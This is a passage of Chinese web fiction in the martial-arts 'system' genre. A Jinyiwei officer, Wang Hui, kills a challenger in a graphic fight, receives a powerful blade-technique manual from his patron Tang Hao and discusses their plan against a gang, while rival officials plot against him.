岳天波直到这时才彻底反应过来,脸色瞬间变得惨白,惊怒交加地大吼出声。他万万没想到,王辉竟然狠辣到这个地步,更没想到受伤的王辉还能爆发出这么可怕的战斗力——电光火石间,就要把他最得力的手下斩于刀下! 可回应岳天波的,是刀锋斩断脖颈筋肉的声音——沉闷、利落,却又刺耳得让人头皮发麻。 “噗嗤!” 一颗头颅应声飞起,脸上还凝固着惊恐和难以置信的表情。 无头的脖颈处,鲜血像喷泉一样汹涌而出,瞬间染红了那根红木圆柱,顺着柱身往下流,在地上积成一滩。 【经验值+250】 熟悉的系统提示音在脑海里响起。 王辉喘了口气,压下胸腔的翻腾,心里却还觉得不够解气,他抬起脚,一脚将滚落在地的头颅踢了出去。 那颗头颅像个破烂的皮球,“啪”地滚到岳天波脚下,转了几圈停下,一双死不瞑目的眼睛,正好对着岳天波惨白的脸。 王辉抬手抹掉溅在脸上的血滴,看向浑身发抖的岳天波。 王辉嘴角勾起一抹冰冷的笑,语气慢悠悠的,却带着说不出的残酷:哎呀,真是不好意思了,岳大人,这个行事没规矩的江湖人,非要不知死活地挑战本官。本官没办法,只好勉为其难送他一程。场面是血腥了点,没惊扰到您吧? 岳天波看着脚下的头颅,一股寒气从脚底直冲天灵盖,手指抖得像筛糠,指着王辉,声音因愤怒而变调:你……你竟然公然偷袭!残杀挑战者!王辉,你眼里还有 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他下意识地后退了半步,连呼吸都变得急促起来。 岳天波:带上……带上尸体,我们走!。 岳天波的脸一阵青一阵白,咬着牙对身后的护卫低吼,一刻也不想多待。 那些护卫如梦初醒,慌忙上前,手忙脚乱地去拖陈帆的尸身和断臂,连地上的□□都忘了捡。 可唐浩身形一晃,瞬间拦在了岳天波面前。 唐浩比岳天波稍高些,此刻微微垂眸,带着居高临下的压迫感,声音不高,却像冰锥一样扎在人心上:“回去告诉霍成林,想争,就拿出点像样的手段。别再搞这种下作龌龊的把戏,徒惹人笑,丢尽了锦衣卫的脸面! 岳天波的脸皮猛地抽搐了几下,额头青筋暴起,显然是羞愤到了极点。 可在唐浩冰冷的目光下,他张了张嘴,最终还是没敢反驳,只从喉咙里发出一声含糊的冷哼,猛地甩袖,带着手下狼狈地逃出了王府——连那柄陪伴陈帆多年的银色□□,都落在了原地。 看着岳天波等人仓皇逃窜的背影,唐浩才转身走进厅堂,目光立刻落在王辉身上,眉头皱了起来:“没事吧?有没有牵动旧伤?”他显然闻到了空气中的血腥味,也看到了王辉衣襟上的血迹。 王辉缓缓吐出一口气,体内翻腾的气血稍稍平复,摇了摇头:“无妨,一点小伤,还撑得住。多谢大人及时赶来。” 唐浩点了点头,瞥了一眼地上的血迹和那柄□□,脸上露出厌恶的神色:“我在百户所处理公务,听手下说岳天波这老狐狸带着人往你这儿来,就知道他们没安好心。 唐浩顿了顿,语气里带着回忆和愤岂,这帮人,内斗的手段一套一套的。以前就常用这招——先假意招揽,许以重利;要是不从,就派手下以‘江湖挑战’的名义上门,美其名曰切磋,实则下手极黑,轻则致残,重则废人武功。 事后还能推得一干二净,说是江湖恩怨,跟锦衣卫无关。” “哼,”唐浩冷哼一声,语气更沉了,“我以前手下有两个好苗子,就是因为不肯同流合污,被他们用这招毁了。等我赶过去的时候,人已经瘫在地上,连真气都提不起来了。后来我闹到千户所,他们一句‘公平比斗,技不如人’,就把事儿搪塞过去了。这些老东西,内斗的时候比谁都狠,真到了要对外、要为国效力的时候,一个个比狗都怂!” 说着,唐浩脸上的厌恶变成了快意,他拍了拍王辉的肩膀,笑道:“不过他们今天算栽了!本想趁你伤重,让陈帆废了你,既除了我的得力干将,又能打击我的威信。没想到啊,反被你当场反杀!真是偷鸡不成蚀把米,赔了夫人又折兵!” 他饶有兴致地看着王辉,眼里满是赞赏:“你这杀性,真是够劲!‘小杀神’这名号,以后是彻底坐实了,想摘都摘不掉喽!” 王辉闻言,也笑了笑,活动了一下发酸的手腕,眼里闪过一抹锐利的光:“我倒觉得,这‘小’字,有点不够气派。” 唐浩先是一愣,随即放声大笑:“哈哈哈,好!有志气!男儿大丈夫,就该有这股子傲气!我相信,总有一天,这‘小’字,定然能去掉!” 两人相视一笑,默契尽在不言中。 厅堂里的血腥味太重,唐浩提议去偏厅说话。王辉吩咐陈飞带人清理现场,自己则跟着唐浩往偏厅走。 走在廊下,寒风裹着雪片打在脸上,王辉却没觉得冷——体内的真气因为刚才的搏杀,变得异常活跃,虽然还带着隐隐的痛感,却比之前顺畅了不少。他心念一动,在脑海里下达了指令。 【使用1000点经验值】 【玄元功升级至第七层】 【当前境界提升至三品】 27. 烈风刀法 一股灼热而磅礴的气息,毫无征兆地在王辉体内轰然爆发,宛若地火奔涌,又似熔岩翻腾! 新生的内力以前所未有的速度节节攀升,原本精纯凝实的真气,此刻竟变得异常狂猛霸道,在经脉中奔流呼啸,带来一种近乎撕裂又无比充盈的强烈感觉。 仅仅只是一刹那,王辉便感觉自己的五感六识发生了天翻地覆的变化。 周围的一切变得前所未有的清晰——窗外雪花飘落的轨迹、炭火细微的噼啪声、甚至对面唐浩平稳悠长的呼吸韵律,都清晰地映入感知。这是一种生命层次的提升,是灵魂与肉身同时经历的一次洗礼。 从四品晋升至三品, 看似只有一品之差,却是从中三品迈入了上三品的关键门槛!这意味着他已然跻身江湖一流高手的行列。 放眼整个都江城,三品武者都足以称得上是一方人物,无论走到哪里都会受人重视,拥有真正的话语权。 这是一个质的飞跃,是鲤鱼跃过龙门般的蜕变。 不过,得益于系统那不可思议的力量,这本该伴随巨大风险、需要小心翼翼引导控制的突破过程,对他而言却成了一种水到渠成、浑然天成的自然演变。磅礴的力量完美地融入四肢百骸,没有丝毫的滞涩与不适,仿佛他早已在这个境界打磨了数年之久。 即便近在咫尺的唐浩,身为先天境界的高手,灵觉远超常人,也未能察觉到王辉在这电光火石之间完成的惊人蜕变。他只看到王辉在听完他的话后,似乎略有沉吟。 “王兄弟,”唐浩并未察觉异常,端起桌上刚刚奉上的热茶,轻轻吹了口气,说道:“你升任东院总旗的事情,霍成林那边已经捏着鼻子认了,流程都已走完。委任文书、身份令牌以及相应的服饰印信,不日就会下发到百户所,你届时直接去领取便可。” 王辉收敛体内奔腾不息的真气,拱手道:“多谢大人提拔。” 唐浩微微笑了笑,摆手道:“你我之间,大可不必如此客套。我今日过来,主要便是两个目的。 这第一个呢,原本是担心岳天波那老匹夫趁机发难,想来给你撑撑场子,结果倒好,压根没用得着我动手,你自己就干净利落地把事情解决了,倒是让我白跑一趟看个热闹。” 唐浩语气中带着毫不掩饰的赞赏,继续道:“这第二个目的,便是要与你详谈一下接下来的计划。 你如今已是总旗,更是我计划中不可或缺的一环,有些事情,必须让你知晓。” “大人请讲。”王辉神色一肃,做出倾听状。 体内新增的力量让他对即将到来的风波更多了几分底气,也更能体会到唐浩所谋之事背后的凶险与庞大。 唐浩神色也变得凝重起来,缓缓说道:“待你伤势彻底痊愈,能够正常视事之后,南城百户所的日常运转和大局,就需要交给你来主持打理了。” 唐浩顿了顿,给王辉消化的时间。 然后补充道:“这一点你大可放心。百户所内,除了张刚那个已经被你清理掉的内鬼,另外三位总旗,都是我这几年来一手提拔起来的可靠之人,能力或许不算顶尖,但忠诚绝对无虞,你可以放心任用。” “至于我这边,”唐浩目光投向窗外纷飞的大雪,眼神变得锐利起来,“则需要开始全力联络和调动各方人手了。 今日岳天波的所作所为,你也亲眼看到了。千户所以霍成林为首的那帮老家伙,是绝不可能成为我们的助力的。 我们要对清水帮动手,不仅仅要面对来自清水帮本身及其背后盘根错节的关系网的巨大压力,更要时刻提防着他们在背后捅刀子、使绊子!” 唐浩的语气中带着一丝压抑的怒意和深刻的教训:“三年前,我之所以会失败,其中一个至关重要的原因就是,当我离开百户所,亲自带队冲击清水帮总坛时,变成了孤军奋战! 百户所内无人能替我稳住后方,协调资源,更没有人在千户所施加压力时,有足够的魄力和能力抗住压力,给予我应有的支援!最终,我被一道来自千户所的乱令断了后援,功亏一篑!” “即便是现在,”唐浩转回头,目光灼灼地看着王辉,“百户所虽然基本已经是我的人,但依旧缺乏一个真正有魄力、有实力、能在我离开后独当一面、替我牢牢守住根基并应对各方明枪暗箭的人!” 唐浩重重地拍了拍王辉的肩膀,语气无比郑重:“如今,这个人,就是你了!王辉,我的后背,就交给你了!” 王辉能感受到唐浩话语中的重量和信任,他深吸一口气,脸色凝重地点头道:“大人信重,属下明白。 王辉:不知……具体的计划是如何安排的?稍作迟疑,道:“当然,若是有不便之处……” 没什么不便的!唐浩斩钉截铁地打断道,脸上露出坦诚的笑容:我既然选择你,便是绝对的信任。否则,岂会将如此重要的位置和职责托付于你?岂敢将自身的安危和计划的成败系于你身?” 唐浩身体微微前倾,压低了些声音,开始详细阐述:“我的计划,其实说起来也并不复杂。这几年来,我并非毫无作为。 除了整顿南城百户所,我在都江府……哦,是都江城下辖的二十二个县城中,已有七八个县的锦衣卫旗院掌事之人,暗中投效于我,他们是我布下的棋子,关键时刻能提供人力和情报支持。” “此外,我身边也招揽了几位真正的高手,其中不乏三品,甚至还有一位半步先天的朋友答应出手。这份力量,足以对清水帮的高层形成致命打击。” “至于罪证方面,”唐浩眼中闪过一抹精光,“我早已开始收集天水帮高层诸多罪证,包括他们与府衙某些官员勾结、走私违禁、草菅人命的铁证。 只是此前一直缺乏一个最直接的、能将其彻底钉死的突破口。而你这次雷霆出手,端掉了长宁坊,抄没的那些账本、信件,恰好补全了我之前所欠缺的最关键一环!如今,时机已经成熟!” “下一步,”唐浩继续道:“我会利用手中这些确凿的证据,先去‘拜访’府衙里那些尸位素餐、与清水帮利益纠缠颇深的老爷们。 将这些证据摆在他们面前,不是为了让他们帮忙,而是要让他们不敢动,不敢再给清水帮提供任何明目张胆的支持!至少要让他们在明面上保持中立,掐断清水帮的官方庇护!” “等我这边事情办妥,压力给足,我就会亲自带队,直接对清水帮的核心高层实施抓捕乃至格杀! 为了避免清水帮狗急跳墙,煽动帮众作乱乃至冲击官府,我还暗中联系了都江城守备军的几位旧友。 若他们真敢聚众拼死一搏,那等待他们的,将是军队的无情镇压!” 唐浩说完整个计划的大致框架,目光回到王辉身上:“而你这边,任务同样关键。你需要在我行动期间,替我坐镇南城百户所,稳定内部,调度人手,维持南城秩序,同时,严密监视千户所以及其他各方势力的动向! 一旦发现有人想趁机搞鬼,无论是想搅乱局势,还是想背后捅刀,你都有权临机决断,先行处置!总之,务必保证我们的后方不乱,让我能心无旁骛地对付清水帮!” 听完唐浩这筹谋数年、环环相扣的计划,王辉微微点了点头。 不得不说,唐浩确实是个人物,心思缜密,准备充分。他早已布好了局,只差一个合适的契机和一个能替他镇守后方、让他无后顾之忧的得力干将。 而自己的出现,以及长宁坊一役的成果,恰好完美地弥补了这两个关键条件。 “大人放心,”王辉的声音沉稳而有力,带着一种令人信服的自信:“有我在,南城百户所绝不会出任何纰漏。谁敢伸手,我就剁了谁的爪子!” “好!有你在,我无比放心!”唐浩脸上露出了畅快而欣慰的笑容,说道:“此次事情若成,霍成林那老东西也该提前‘病退’了。 届时,我会顺理成章地接手千户所。而南城百户所的位置,就是你的!你将成为都江城有史以来最年轻的锦衣卫百户! 唐浩顿了顿,神色无比认真地看着王辉,继续说道:“你也放心,我唐浩绝非过河拆桥之人。我后面虽然大概率会调回京城,但在离开之前,我一定会倾尽全力,帮你把都江城的摊子彻底摆平,为你扫清障碍,保你将来能顺利接任千户之位! 如果……我是说如果,事有不成,或者我因故必须立刻离开,而局势未能完全稳定,我也绝不会丢下你不管!你为我与整个都江城的既得利益者为敌,这份情义,我唐浩铭记于心。 届时,你若愿意,可随我一同赴京,我以京城唐家的声誉担保,必为你谋一个更好的前程!” 说罢,唐浩再次用力拍了拍王辉的肩膀,语气诚挚无比:“我这些话,不是在给你画饼充饥,所说的每一句,都是发自肺腑,将来必会兑现!” 王辉能感受到唐浩话语中的真诚与分量,他郑重点头,道:“我信。” 有些承诺,无需多言,记在心里便可。 唐浩满意地笑了笑,似乎想起什么,又给王辉斟了一杯热茶,说道:“对了,前两日听陈飞偶然提起,说你近日一直在寻找合适的刀法秘籍? 是,”王辉点头承认。 王辉:只是目前尚未找到特别合心意的。他新得系统,正需大量功法秘籍转化为实力,此事倒也并未刻意隐瞒。 唐浩:你在百户所的传功阁里找,自然是找不到 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王辉:大人,武功秘籍乃是武者的立身之本,传承之基,若是那么容易便能寻得高深秘籍,这世间的武者数量,恐怕远不止如今这些,高手也不会如此稀少了,王辉感慨道。 唐浩闻言,不由哈哈一笑,拍了拍王辉的肩膀,说道:“平日里看你杀伐果断,机敏过人,怎么今天反应倒是迟钝了?我既然都这么问了,那自然是我手里有更好的货色啊!” 一边说着,唐浩一边从怀中取出一本页面泛黄、边缘略有磨损的古旧线装书册,递到了王辉面前。 书册的封面上,以苍劲有力的笔触写着四个大字——《烈风刀法》! “这门《烈风刀法》,”唐浩的语气带着几分推崇和肯定,“我可以这么跟你说,你若能将其修炼至大成境界,先天之下,难逢敌手!足以让你在同境界中横行无忌!” 王辉心中瞬间意动,一股渴望油然而生。他现在最缺的,就是这种能够极大提升即时战力的强大武技。 然而,他深知在这个世界,高深的武功秘籍何等珍贵,各大门派、家族无不视若珍宝,严禁外传。这种门户之见,根深蒂固。 王辉强压下立刻接过的冲动,犹豫了一下,诚恳说道:“大人,这份礼物太过贵重了……这怕是不太合适吧?若是您家族的……” “放心,”唐浩咧嘴笑了笑,显然明白王辉的顾虑,直接解释道:“这不是我唐家的家传武学。 我若是私自将家族秘传武学授予你,那不是在帮你,而是在害你,会给你我二人都引来天大的麻烦。 这门《烈风刀法》,乃是我当年外出历练时,斩杀一个强敌所获得的战利品。” 说到这里,唐浩脸上露出一丝追忆,甚至还有点讪讪之色:“说起来还挺丢脸的。那家伙当时仅仅只是个二品武者,而我那时已经侥幸晋升先天境。 按理说,捏死他应该如同捏死一只蚂蚁。可谁知,他凭借这门邪门无比的《烈风刀法》,竟然差点让我阴沟里翻船! 其刀势之狂猛暴烈,招式之诡谲狠辣,简直不像人间武学!我最后也是仗着先天真气生生耗光了他的内力,才勉强将他击杀。” 王辉听得眼中精光连闪,大为诧异。 他对武道境界的了解已然不少,深知先天武者与后天武者的巨大差距。先天武者内力转化为更高层次的先天真气,可凝聚护体罡气,更能真气外放,隔空伤敌,与后天武者依靠内力近身搏杀的技巧相比,堪称云泥之别。一个二品武者,竟能凭借刀法差点逆伐先天,这《烈风刀法》的强悍,简直匪夷所思! 唐浩也看出了王辉的震惊与疑惑,笑了笑,神色凝重地解释道:“这门《烈风刀法》,其最可怕、最精髓之处便在于,修炼者若能将此刀法练至大成境界,便可于出刀之时,将自身内力极度压缩凝聚,形成宛若实质的凌厉刀气!这种由内力极致演化而出的刀气,其锋锐与破坏力,某种程度上,已不弱于先天武者外放的先天真气!甚至在某些特性上,犹有过之!” “内力化刀气?!”王辉低声重复了一遍,心中掀起惊涛骇浪。这完全颠覆了他对后天武学的认知!这《烈风刀法》的价值,远超他的想象! “没错,”唐浩肯定地点点头,将秘籍又往前递了递,“正因如此,它才如此可怕,也如此珍贵。这门刀法,简直是为那些无法突破先天、却又渴望获得匹敌先天之力的狂徒所量身打造的! 当然,修炼难度也极大,对修炼者的悟性、内力修为以及肉身强度要求都极高,甚至伴有反噬的风险。但我相信,以你的天赋和心性,定然能够驾驭它!” 28. 烈风辛密 “不过,”唐浩话锋一转,神色变得严肃起来,“这门《烈风刀法》威力虽强,但修炼至大成境界的条件,却也苛刻到了极点,近乎邪异。 以你的天赋和潜力,完全没必要强求那虚无缥缈的大成之境。我将这门刀法赠予你,也并非指望你将其练至大成。你只需修炼到小成境界,便足以受用无穷了。” 唐浩端起茶杯抿了一口,继续解释道:“《烈风刀法》本身品阶极高,玄奥莫测。即便只修炼到小成境,其威力也远胜寻常的一流刀法。对于后天境的武者而言,小成的烈风刀法,已经完全够用,足以让你在同阶之中占据绝对优势。” 王辉闻言,心中不免生出几分好奇与疑惑。他依言翻开了手中那本泛黄的古籍——《烈风刀法》。 书页摩擦,发出沙沙轻响。他粗略地浏览着其中的总纲与心法要诀。 很快,在快速翻阅了前面关于入门、小成的修炼法门以及最后描述大成之境的关键章节后, 王辉顿时明白了为何唐浩会那般郑重地告诫他,不建意强行追求大成境。 这《烈风刀法》的大成条件,何止是苛刻,简直堪称变态,是近乎自毁的道路! 秘籍中阐述,入门境和小成境的修炼,虽然也极重悟性与苦功,需要经年累月的锤炼感悟,对修炼者的天赋要求极高,但总归还在正常武学修炼的范畴之内,依靠水磨工夫和绝佳天赋,总有达成的希望。 然而,那大成之境的要求,简直匪夷所思,难如登天! 秘籍中明确记载,欲将此刀法修炼至大成,须先行“散功”! 所谓散功,并非简单的停止运功,而是要以特殊秘法,将苦修而来的内力尽数散去,彻底化为乌有,使自己重新变回一个体内空荡荡的普通人! 这还仅仅是第一步。 散功之后,修炼者需以一种完全悖逆常理的方式,从头开始修炼《烈风刀法》。 而这次的修炼模式,竟不再是以后天内力的方式运转,而是完全模仿、模拟先天武者的真气运行脉络来进行! 看到这里,王辉不由得倒吸一口凉气。 且不说“散功”这一步骤本身所带来的巨大风险——一个操作不当,或是中间出现任何差池,就可能导致经脉永久受损,甚至当场毙命。 就单单是“以普通人之躯,模拟先天武者行气”这一条,简直就是十死无生的要求! 普通人的经脉,相较于先天武者经过天地元气淬炼拓宽的经脉,可谓脆弱不堪。以后天功法引导内力都需小心翼翼,稍有差池便可能走火入魔,轻则重伤,重则残废。 而直接模仿先天行气?那狂暴的、本不属于后天境的力量运行方式,对于脆弱的凡人经脉而言,无异于洪水猛兽冲击纤细的溪流河道!稍微有一丝一毫的偏差,或是经脉承受不住那种模拟先天的“伪真气”冲击,下场绝对是经脉寸断,爆体而亡! 更可怕的是,秘籍中还强调,一旦开始尝试冲击大成之境,踏上这条散功重修之路,便再无回头可能。中途绝不能停止,一旦停止修炼,或是心生怯意导致行气中断,那狂暴的力力量便会立刻失去控制,反噬其身,下场同样凄惨无比。 也就是说,如果选择踏上这条通往大成之路,那就是彻头彻尾的破釜沉舟,不成功,便成仁!没有任何转圜的余地! 唐浩看着王辉脸上变幻的神色,知他已明了关键,这才微笑着缓缓开口,道出了这门刀法的来历:“创造这门诡异刀法的人,自号‘烈风刀客’,乃是两百多年前江湖上的一位奇人。此人在武学上的才情,堪称惊才绝艳。” “然而,上天似乎给他开了一个玩笑,他自身修炼天赋却有限得紧,穷尽一生,也未能突破那先天壁垒。 偏偏他还有一个不死不休的先天境的仇敌。眼见正常修炼报仇无望,这位烈风刀客竟另辟蹊径,不知从何处得到了一门先天功法的残篇,以其无上智慧,硬生生从中逆向推演,悟出了这么一门完全悖逆常理、专为后天武者逆伐先天而存在的诡异刀法!” 唐浩语气中带着一丝敬佩:“最终,他成功了。据说他以区区一品武者的修为,凭借大成的《烈风刀法》,真的成功斩杀了那位先天仇敌,创造了武林史上几乎不可能实现的奇迹!” “这门刀法的强横,由此便可见一斑,毋庸置疑。”唐浩话锋一转,语气变得凝重,“但是,福兮祸所依。 据我所知以及江湖零星记载,自烈风刀客之后,这一两百年里,自然不乏惊才绝艳之辈或被仇恨蒙蔽双眼之人,试图重现烈风刀客当年的辉煌,修炼此刀法以求大成。” “然而,两百年来,有明确记载的,成功者……仅有两个半。” “半个,”唐浩伸出一根手指,“是大约百多年前,据说有一位刀道奇才,历经万难,真的成功将《烈风刀法》修炼至大成之境。然而,就在功成之日,或许是因为太过激动,心神失守,导致内力瞬间逆行,当场……爆体而亡。故江湖中人只算他成功了半個。” “而剩下的那一个,”唐浩指了指王辉手中的秘籍,脸上露出一丝心有余悸的苦笑,“就是五年前,我亲手斩杀的那个家伙。我那时已晋先天,却差点在他手里栽了平生最大的一个跟头!最后虽然仗着境界高深,生生将他耗死,但我也被他那不顾性命、同归于尽般的烈风刀气所重创,调养了将近半年才敢再与人动手,伤势极其严重。” 王辉合上秘籍,心中感慨万千。 果然,世界之大,无奇不有。人类的智慧和执念,当真是可怕,竟然能创造出如此逆天而行、剑走偏锋的武学。 唐浩又接着说道,语气变得十分诚恳:“不过,对于你,我倒是很放心。以你的心性,当知取舍。以你的天赋,将来突破先天境几乎是板上钉钉的事情,前途不可限量。 完全没必要为了追求这一门刀法的大成之境,而去冒那九死一生、甚至十死无生的风险。那是本末倒置,智者所不为。” “你只需将《烈风刀法》修炼至小成,足以让你在后天境纵横睥睨即可。待你他日晋升先天,自然可以转修更合适、更强大的先天武学,那才是堂皇正道。” 王辉闻言,脸上露出一抹意味深长的微笑。 唐浩的告诫自然是金玉良言,是为他着想。冒险去追求那大成之境,对于任何正常武者来说,都绝对是愚蠢至极的行为。 但是,他王辉,可不是“正常”武者啊! 王辉有系统在手,根本不需要经历那凶险万分的“散功”、“模拟先天”的过程!他只需要拥有足够的经验值,就能水到渠成、毫无风险地将这门刀法直接提升至大成圆满之境! 这其中的关窍,王辉自然不会对唐浩明言。他只是笑呵呵地将这本珍贵无比的秘籍收入怀中,再次拱手,真诚道谢:“大人的良苦用心,属下明白。多谢大人赐功之恩,属下必勤加修习,不负大人厚望!” “你我之间,何必总是如此客气见外。”唐浩笑着拍了拍王辉的肩膀,站起身道:“你如今的首要任务,便是在家好生安心养伤。什么时候伤势彻底痊愈了,再来百户所升任总旗,办理交接事宜。” 唐浩脸上露出男人都懂的暧昧笑容,说道:“到时候,我为你摆酒庆功,叫上咱们百户所所有的兄弟,一起去百花楼好好喝一场,不醉不归! 嘿嘿,我可是听说了,百花楼前些日子新来了一位花魁娘子,不仅姿容绝色,更是才艺双全!等你伤好了,必须给你安排上,让这位花魁娘子亲自为你抚琴斟酒!” 王辉闻言,也是眉梢一挑,露出会意的笑容,接口道:“哦?能被百花楼捧为花魁,那必然是人间绝色。 更重要的是,听说百花楼的姑娘,各个都是……胸怀宽广,善解人意啊!”他刻意在“胸怀”二字上加重了语气。 唐浩一听,顿时像是找到了知音一般,眼睛放光,嘿嘿笑道:“王兄弟果然是同道中人,深得其中三昧啊!百花楼的姑娘,最出色的便是这胸怀天下的气度,以及……咳咳,体贴入微的口才!” “哈哈哈……” 两人相视一笑,一切尽在不言中。 …… 王辉一路笑着将唐浩送出府门。 沿途,两人还在兴致勃勃地讨论着百花楼中哪位姑娘的曲艺最佳,哪位姑娘的口才最为出众,哪位姑娘的歌喉犹如天籁。 直到唐浩的马车缓缓驶到门前,亲卫撩开车帘,唐浩这才意犹未尽地停止了这场男人间的话题,登车离去。 望着马车消失在街角的雪幕中,王辉脸上依旧带着笑意。 回想刚进入南城百户所那段时间,为了尽快融入环境,他可是没少跟着手底下那帮年轻的锦衣卫弟兄们,去百花楼等场所“体察民情”、“深入调研”。对这些门道,自然也是门儿清。 “大人。” 陈飞从内院快步走了出来,见到王辉站在门口,询问道:“唐百户已经走了?” 王辉点了点头,转身向府内走去。 陈飞跟在身后,语气中带着感激说道:“唐百户这次来,除了那本秘籍,还送来了不少极为名贵的滋补药材。光是看那包装,怕是百年以上的老山参就有三株之多!还有其他一些珍稀药材……唐百户对您,真的是没话说,非常看重!” 王辉微微笑了笑,心中也有一丝暖意。 目前来说,与唐浩的这番交往和合作,确实颇为愉快。唐浩此人,有野心,有手段,也懂得笼络人心,更难得的是确有几分真诚和担当。 “你这两天回去之 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说完,王辉不再多言,背负着双手,缓步向内院走去。 其实,若论东院里的众校尉,陈飞的修为和资历都算不上是最顶尖的那一两个。但是,谁让他是第一个坚定不移跟随王辉的人呢?从王辉最初崭露头角,到后来与张刚冲突,直至长宁坊浴血搏杀,陈飞都始终紧跟左右,虽有畏惧,却从未退缩。 这份从微末之时便开始的忠诚,远比后来的能力更重要。王辉自然不介意给他一个一步登天的机会。 行走在覆满白雪的回廊下,王辉心念微动,召唤出了只有他自己能看到的系统页面: 【宿主:王辉】 【境界:三品】 【功法:玄元功(第七层0/3000)】 【技能:破风刀法(大成)】 【雁凌术(大成)】 【□□法(大成)】 【烈风刀法(未入门0/100)】 【经验值:4】 页面清晰简洁。升级至二品武者所需要的经验值果然大幅提升,达到了三千点。 不过,这对于早已有所预料的王辉来说,并不算意外。 真正让他目光停留,并心生感慨的,是那新出现的《烈风刀法》! 不愧是后天武学中堪称最顶级的存在…… 王辉心中暗叹,“仅仅只是入门的要求,就需要足足100点经验值。远远超过了《□□法》和《雁凌术》。” 但这极高的门槛,非但没有让他退缩,反而让他心中充满了更大的期待。 需求越高,往往意味着威力越强! 王辉已经迫不及待想要积累足够的经验值,亲眼见识一下这门能让后天武者逆伐先天的诡异刀法,在大成之后,究竟能拥有何等毁天灭地的威力! …… 府门外,大雪依旧纷飞,丝毫没有停歇的迹象,将整座顾家大宅覆盖得一片银装素裹,静谧而肃穆。 陈飞独自一人,怔怔地站在漫天风雪之中,许久都未曾动弹。 他的面色潮红,浑身都在微微颤抖,并非因为寒冷,而是因为内心那如同火山喷发般无法抑制的激动与狂喜! 过了良久,直到一片冰冷的雪花落进他的脖颈,他才猛地一个激灵,从那巨大无比的惊喜和恍惚之中彻底清醒过来。 小旗! 锦衣卫小旗! 这与校尉之职,明面上看似乎只差了一级,一线之隔。 但实际上,这根本就是两个截然不同的世界,是天与地的差别! 校尉,说得好听是锦衣卫力士,实则仍是“吏”的范畴,干的依旧是冲锋陷阵、听令行事的活计。 而小旗,那是正儿八经的“官”!是入了流的朝廷命官!虽然只是最低的从七品,却意味着真正踏入了官身的门槛,拥有了属于自己的权柄、俸禄乃至未来的晋升之阶! 这个身份上的变化,带来的将是地位、资源、话语权乃至子孙后代命运的彻底改变!堪称云泥之别! 若非如此,当初那个曹峰,又怎么会利令智昏,不惜冒着株连三族的泼天风险,也要设下毒计,企图害死当时还是小旗的王辉,只为夺取那个位置呢? 想到曹峰, 陈飞站在风雪中,突然心生无限感慨。 真是时也,命也,运也! 谁能想到,这才短短一个多月的时间? 当初曹峰那般处心积虑、拼死拼活想要争夺,甚至为此付出性命和家族前程作为代价的东西,如今,竟然就这般轻描淡写地、落到了自己的手中? 人生的机遇之奇妙,命运之无常,实在是难以琢磨,令人唏嘘,更令人……敬畏与庆幸! 29. 千户所毒谋 都江城,千户所。 一间陈设古朴却处处透着威严的书房内,烛火摇曳,将两个人的身影投在墙壁上,拉得很长,随着火焰微微晃动,仿佛蠢蠢欲动的鬼魅。 千户霍成林端坐在宽大的黄花梨木书案后,面色阴沉得能滴出水来。西城百户岳天波则垂手站在下首,脸色同样难看,正语气压抑地汇报着白日里的遭遇。 “……大人,情况便是如此。那王辉与唐浩根本就是一丘之貉,嚣张狂妄到了极点! 他……他竟然敢当着我的面,悍然出手偷袭,直接将陈帆斩杀!手段狠辣,无所顾忌! 他这简直……简直就根本没把我们千户所,没把大人您放在眼里!”岳天波的声音里充满了愤懑和一丝后怕。 “好,好好好……” 霍成林听完,一连说了几个“好”字,每一个字都像是从牙缝里挤出来的,带着冰冷的怒意。他放在书案上的手微微握紧,手背上青筋隐现。 “好一个王辉!他算个什么东西?一个侥幸立了点功劳、不知天高地厚的黄口小儿!他凭什么敢如此猖狂?真以为这都江城没人治得了他了吗?!”霍成林的声音陡然拔高,带着一种被严重冒犯的震怒。 岳天波咬牙切齿地附和道:“说到底,不过是狗仗人势罢了! 他之所以敢如此张狂,倚仗的不就是有唐浩在背后给他撑腰吗?有什么样的主子,就有什么样的恶犬! 唐浩平日里就目中无人,狂妄自大,他带出来的人自然也是有样学样!大人,若我们再不出手狠狠整治,千户所还有什么威信可言?底下的人会怎么看?再这么放任下去,只怕用不了多久,他唐浩和王辉就敢骑到我们千户所头上拉屎撒尿了!” 霍成林脸色阴晴不定,胸膛微微起伏,显然怒极。但他终究是沉浮官场多年的老狐狸,深吸了几口气,强行将翻腾的怒火压了下去,声音恢复了某种冰冷的平静: “只是……这唐浩,背景太深,来自京城那个唐家,牵一发而动全身,我们暂时动不得他,至少明面上不能直接动。 而且,他自身修为已至先天,高深莫测,放眼整个都江城,论单打独斗,能够与他正面抗衡的,恐怕一只手都数得过来。” 岳天波顿了顿,语气充满了憋屈:“那王辉,的确是一条仗人势的恶犬。 可是,只要唐浩这棵大树不倒,就没有人敢轻易动他这条疯狗!之前还好说,自从长宁坊那一战之后,王辉这‘小杀神’的名声算是彻底打出去了,凶悍能打的名声传遍江湖。 如今唐浩与他,好得就差烧黄纸拜把子了!有唐浩这尊先天高手、背景深厚的百户全力顶着,即便是我现在想动王辉,也没那么容易了,必须顾忌唐浩的疯狂反扑。” 岳天波咬着牙,脸上满是不甘和痛惜。 陈帆不仅仅是他麾下的头号心腹,更是与他有着二三十年交情的老兄弟、老同僚,两人关系莫逆,私交极好。 否则,陈帆也不会为了支持他的计划,毫不犹豫地当场辞去总旗的官职,以江湖人的身份去挑战王辉。 “是我……是我害了陈帆兄弟啊!”岳天波语气沉痛,带着自责,“是我错误地估计了那王辉竖子的实力……我本以为他身受重伤,战力必然大打折扣,没想到……没想到他竟如此悍勇,重伤之下还能爆发出如此可怕的战力!” 霍成林摇了摇头,眼中闪过一丝阴鸷,道:“这倒未必是你错估了他的实力。 你错估的,是此人的无耻和卑鄙!好歹也是有名有号、凶名在外的人物,动手之前竟然毫无征兆地搞偷袭!简直毫无武德,无耻之尤!” 霍成林冷哼一声,继续道:“不过,既然这个计划已经失败,那便不必再纠结。我们按原定方案,开始实施第二个计划吧!” 岳天波精神一振,连忙拱手道:“请大人明示。” 霍成林身体微微前倾,手指无意识地敲击着桌面,发出沉闷的“笃笃”声,在寂静的书房里显得格外清晰。他沉吟了片刻,缓缓说道: “现在的问题,又回归到了最初。那王辉,就是唐浩手中最锋利、最疯狂的一把刀。 唐浩之所以敢在这个时候跳出来,与整个都江城的既得利益者为敌,所倚仗的,就是这把刀足够锋利,能替他撕开一切阻碍。” 